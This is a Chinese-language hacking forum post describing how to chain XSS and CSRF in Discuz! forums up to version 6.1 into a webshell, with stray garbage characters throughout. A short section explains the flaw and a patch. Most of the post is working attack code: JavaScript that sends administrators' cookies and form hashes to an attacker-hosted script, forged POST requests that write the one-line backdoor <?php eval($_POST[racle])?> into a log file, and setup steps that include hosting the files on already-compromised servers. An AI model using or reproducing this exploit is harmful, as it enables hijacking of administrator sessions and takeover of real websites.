Discuz XSS得webshell
- |! \3 c- M$ B. |1 L. MBy racle @tian6.com
2 E; ^6 q8 u- V( } f# R3 J5 i8 j欢迎转帖.但请保留版权信息.
: R8 {2 h) W9 y1 w受影响版本 iscuz<=6.1.0,gbk+utf+big5
; |& h9 t, {9 K! a3 H$ J# `" Q6 k# }/ E: c
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
, X4 r$ S5 F8 P- q6 j+ ^7 Q9 `5 P. @4 h: t, t. X7 O- Y
5 w$ x2 F( G) _' A
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
& N: r6 E/ {3 A当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
2 d! `) @: t* w: B9 C% f" H# E1 D8 h) a: G" T
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
+ c, R. H# S' N' R本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
; `/ }! m$ I5 C/ Y: k6 A4 `0 u8 b; H9 U5 H) u
; r" k% v% ~% |3 o+ U* e6 }# M----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------' o4 V/ Z! K0 u% P
, E. `. d: @; l8 [. `1 S: Y& o) e* j/ S
6 `/ A+ S8 V5 e' f j8 ?problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.8 G) ]/ i; e: `: y8 s4 V
0 x" i" D6 }( z$ Dproblem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.& P+ ]# M4 V' n, B/ R% n
4 i6 v2 G' z; {" m$ ]% {problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
a4 ~1 s2 @ w; Z' S& m9 J
* H, \/ G$ R5 S" ]) [) j8 y& _4 C/ f5 l0 V
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
0 V' `4 K' O+ `5 A4 w8 f7 I/ |" i2 p9 y. T& h6 k( z( S
global $runwizardfile, $runwizardhistory;+ n' s. G3 _4 a
( _- E+ z% T1 u- U6 {' g F $fp = fopen($runwizardfile, 'w');
' [) Y) N3 N! {" {7 o0 F; G! r+ |$ h* L
fwrite($fp, serialize($runwizardhistory));: G9 d, y0 `% V: m" c' U; P# o
% g; Q2 i$ ~5 Z( G8 J
fclose($fp);
$ O5 j) {( u6 R' _2 q0 K3 K( d3 Z3 `. S" `( n$ R: n
}, ?" W* N: b9 W2 }
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.8 v* j) Q( l" o/ k9 Q; J9 @! U- R
以下是修补的办法:function saverunwizardhistory() {
x' @+ \! A% h. p" _2 G7 o3 C8 ?. R# W1 R; a3 E
global $runwizardfile, $runwizardhistory;( _7 ]7 U. w6 d; K$ L3 g: v
6 K2 E: u$ r3 P, ]1 l $fp = fopen($runwizardfile, 'w');
' d" s$ E, e! X" P) m
$ @1 }% f1 m- Y2 H5 q $s = '<?php exit;?>';
* l1 \1 J1 D6 z. r% i6 q+ `( e, ?/ _7 J( K& d: F
$s .= serialize($runwizardhistory);% |- C5 N m B4 L+ e
" r7 t; } ]9 L/ a" @; l
fwrite($fp, $s);
1 ]2 M$ T3 v2 R: N- j
9 _ L8 R1 u) u+ m& d N fclose($fp);
5 A( R3 @( }4 B9 N/ Q( b) ?- w7 r* p. F- ^3 K
}% ?8 R9 |3 v) F
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.1 L& j" S" `5 X- Q9 l
* v2 u& C! B: d9 J3 v8 T1 L+ I
# i1 ]! N6 W4 ?; [, {" G! {0 h7 H4 V% t+ N# A& }" p1 T# D$ v b4 V
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
9 B3 @0 w) \6 }) t0 ]6 l
! o5 k; z2 l+ @( A- u/ y$ X3 y& b3 w) b& j" `# T
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.$ h' S) O {1 X- r8 V6 ?% g+ A* t
( V: _/ Z5 t% c( I# G- ^" F0 R我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
J, T- z; N5 v+ l; C' J, C' ~+ J- i- N- B; l' o
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.. a8 K# A6 n H0 ]1 u
! L l7 m* \- V! u) I首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
8 y) \8 `/ q/ Y& D3 t7 Z7 T* z" B% |7 l4 ]
var url="http://目标网站/admincp.php";
- M" \' s( u" n' s2 x3 r
+ k5 D E/ e) D' R7 i7 O; O1 f/*获得cookies*/( K2 E9 l; D9 K) ~4 ~7 ~1 ]
9 [) Q5 c/ |- z. S( @function getURL(s) {) t+ P7 \# d5 ~' M* X3 m% n
$ J! S8 `- t, a7 ?1 o$ x m4 R
var image = new Image();
1 T2 k: V4 Y4 X/ G+ s/ ^
- b* i! p: L1 d5 j" a: Yimage.style.width = 0;
2 X f) U9 t8 I' m- n, w% `" |* Q, h; Z {$ U1 X1 D8 L/ v4 G
image.style.height = 0;0 ?# o1 x) E; ~; p2 M& W# m
% @- q5 M# i6 b; w% b1 k6 }
image.src = s;' ?0 |6 w. N/ A. r$ @4 P& M
- V( q7 e7 U* J( L: N: d}
N/ J \9 {7 w8 [- y3 ~( J( p0 m, [4 ~6 ~' t: Q( |
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php. [' }9 s$ t* h9 \0 {2 \
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
& m7 Z5 g" ] Z( z& b复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) ; i! g1 j5 c! n0 D# l3 e
, {2 U3 n2 F1 N! z
' W) T# B* U% `7 [; {6 t/ n获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";0 [2 ]. ?: G! W8 r8 ]
* ^' r5 B7 |3 _ u) E; v
& P7 l$ L# V# p! |+ R8 R1 H
6 V1 d. a( f8 u' a: \$ T0 O' c& t/*hash*/6 K4 u, X" @) \6 h. Y
6 w( f9 K% F8 n3 [5 Y( i7 o0 B$ Wvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
: _' l3 _1 ^, b' P+ Y( O5 H7 x v5 ^
% e. q% T, d1 @, d/ LxmlHttpReq.open("GET", url+"admincp.php?action=home", false);
6 P0 K; c! u' T+ {
( i1 D/ _$ l: c) MxmlHttpReq.send();
% A" Q" F, G$ ?/ M7 V5 S$ }3 A" X) X1 @1 Q
var resource = xmlHttpReq.responseText;7 O4 \: K5 N! C4 H' S" {; S& F
: P# t$ A6 x9 P5 x: P
var numero = resource.search(/formhash/);
$ ~. i" R' Y6 |& @0 z4 L. i" w% B% l3 r4 \" r
var formhash=encodeURIComponent(resource.substr(numero+17,8));' u: t+ L# T0 A' T! y* r
6 q. p& @" p/ T! e7 V5 J
# F4 e5 e( m1 V1 G1 r
9 X# p# w# s7 m2 H, X" H9 _var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
z2 P& j" O/ G4 D
. e$ W& ]! D; @8 _% @xmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 5 L; q* t3 }' J( }
5 f& j5 E/ w: E( @$ MxmlHttpReq.setRequestHeader("Referer", url);. ^. @" |8 N" v# j6 C
1 B9 h' J) z6 `6 f: f) J$ A7 OxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");! T2 C# h) o+ p/ h1 w0 `* W
, r: a2 Z8 ]& j% t( v
xmlHttpReq.setrequestheader("content-length",post.length); ! E& @/ \+ T4 o% w2 J
& X3 @6 x0 Z; _
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); % C2 g8 x7 J* |2 k
7 B* r' |! E* E( c' q0 n
xmlHttpReq.send(post);//发送数据- }( d- i: {; S& q/ r q. P
复制代码这里HASH我假设正确,这样提交,也无须cookies2 y; a2 r: J+ d5 Y
5 @4 X1 q+ c. i q# C: N再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
: o! x8 {3 S; K- x: [& h v' E# c' d
if (!$sock) die("$errstr ($errno)\n");2 S! V* I. G E: j# v [. L, i
5 J4 O: i# M5 r- V( F/ a$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
" P J) n/ q% _0 i, K8 N3 U- Y4 ~" Q9 r6 Q3 q4 C7 X+ k3 w6 h- s# c; _
8 }6 q, k& P9 [5 A( R
6 [) }6 C) w2 ]1 M( F7 e# N
fwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");: E7 G8 d! }: n! J
7 z& Z8 O& x7 m$ [, A3 o8 e9 `) F/ Kfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");3 N+ v1 g0 k. O! a2 r# r/ a
d R+ d$ T7 B; v" Hfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");7 u* B+ a- D: V2 {3 n/ F
6 L& [' b! q# c2 K$ E# |fwrite($sock, "Accept-Language: zh-cn\r\n");9 W4 w- N9 E( _$ U/ h2 T+ M
% G1 I8 X$ N0 t4 Pfwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");! D9 D/ O a; v7 j2 m/ d! o/ {
' k$ R6 i- K# S( R+ `1 |# B5 K2 {6 nfwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
; s) }# b- Y f4 f0 W6 }
; z% h1 H" g1 V* P8 o& l0 ^fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");9 p8 _; P( Y9 j( e4 C; @9 ^) |0 Q
9 g9 v3 {( ?# t, o
fwrite($sock, "Host: $url\r\n");) L# f/ q- Z% B7 I
8 q) f; B% N% a% w& k
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
7 l7 }* X0 t/ V2 H2 [: t5 L! s' R1 R$ c& x# J' A
fwrite($sock, "Connection: Keep-Alive\r\n");3 {& W0 S" q! T2 v+ k/ ~
! s' f9 C3 x3 x& g6 bfwrite($sock, "Cache-Control: no-cache\r\n");) W' H. y* e* d b1 K+ a! a2 }) Z
9 m( ~* w( i7 p( D7 }4 I
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
0 O* L- g8 R9 R8 q: C+ w3 [1 S/ C& M M! C; t
fwrite($sock, $data);0 N R9 |; P7 [# V
& y: W& d. ]0 Q/ c9 |. p
* w: f3 A: q* U, h( z' X4 A$ R9 J
# y+ V* R3 q ?% g9 y7 J$headers = "";1 ?0 m# p$ D8 N2 s
& N+ H3 p% i4 d# y0 [# k
while ($str = trim(fgets($sock, 4096)))4 K+ M* P9 a$ h4 H, w0 W/ E
) m$ ~$ d% l5 g! I- C k $headers .= "$str\n";
4 y! I7 w" ? i5 P& ^" G$ }
$ |. T: L5 `" B1 S' Eecho "\n";& N' _: R# V' f) c
3 }# s6 t' g/ [$ u0 a
$body = "";% e+ i) _" u+ s: ^, g
% p$ d2 l+ K# o( A8 Fwhile (!feof($sock))+ q" b4 H) c) s& b* _ x7 A
! x6 l f5 C! c+ G- {7 l $body .= fgets($sock, 4096);
4 t4 g. o' W0 a. m+ v k, F
$ t( A& U! @% s9 yfclose($sock);# r" }! X7 R1 T! G0 F$ w
( R' {9 F1 y; a+ |$ h: D" u. gecho $body;# ?1 v1 m0 v8 k, Q# x; G7 d4 q
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
" H T" S( Z+ X$ q
" ]( V2 E1 @; R; @% i% k
4 ~5 r; I4 a' S2 `4 F3 d-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
& U! Q5 `" z H8 B8 P$ G8 H# ~
6 a2 A, R, T0 [$ ^7 Q, S& c# T9 Q# p* u) p- `
1 HP SOCKET利用方法首先打开racle.js9 y- W8 l3 z! R; Z" n' X2 n, M
: d( j9 ~8 [& c' L7 Y6 X9 P
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home+ D. |2 T1 n. H) \( ?2 O% V
2 P9 ]) f. D( o& e! ?- I u6 T4 a/ u
9 I% b& ]) T( _: T/ \然后打开racle@tian6.php8 q) W! o' J) j" E" @9 ^& d
$ x" R/ B* u$ m/ ^$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com
7 z' Q0 n; @ b4 u1 t2 I- f. K/ q" ^7 ~# r4 Q: T
! p# i4 R* @4 C& {* [- c) r. X6 K3 V7 c' V Z4 P/ {, O
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
' g# i3 O4 A# Z' u
1 N+ b% k' d% S. tgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
% l/ Y2 B6 B6 n3 F' w
. T- H: D: v; r6 c为
& N$ {; X: [: u0 R5 A
7 [: h0 f0 W3 I; @* e& LgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));0 Z; x& P0 e& b: K9 {& l9 {! ? Y
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.) S2 {8 W# W/ N( Q# u
* ~1 }( N, _& e1 }( L3 Z8 y4 H. H
+ f0 A, K5 n9 r+ G. Z: L
& T3 a, t9 M7 ~0 a如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:' ~: c' q% V; @: |/ V- O" ?
% W7 ~' `9 C; }var formhash=encodeURIComponent(resource.substr(numero+17,8));( _9 u" ^* }8 I
) |2 O. i0 e+ h2 V4 a5 X7 [
为
% C4 R( b* a- M; X1 Q8 b0 P" n! s) Z, f* r% I0 E
var formhash=encodeURIComponent(resource.substr(numero+9,8));* d6 H" X1 m+ n' G8 Z. l
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
8 m( `) W1 x9 Y2 ]1 ?" @" s5 S) p' ]8 m% t
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.: J7 x* K/ {5 a. d2 F5 R
0 d7 j' z# q* P: N2 M2 B+ Z
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
: N: ~) t+ V5 B( | `, ?5 T/ D/ n: a! |# {1 y
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
; Q. x6 g9 M0 W9 j3 G8 c
) K* Q( Q$ h9 M0 @# ` |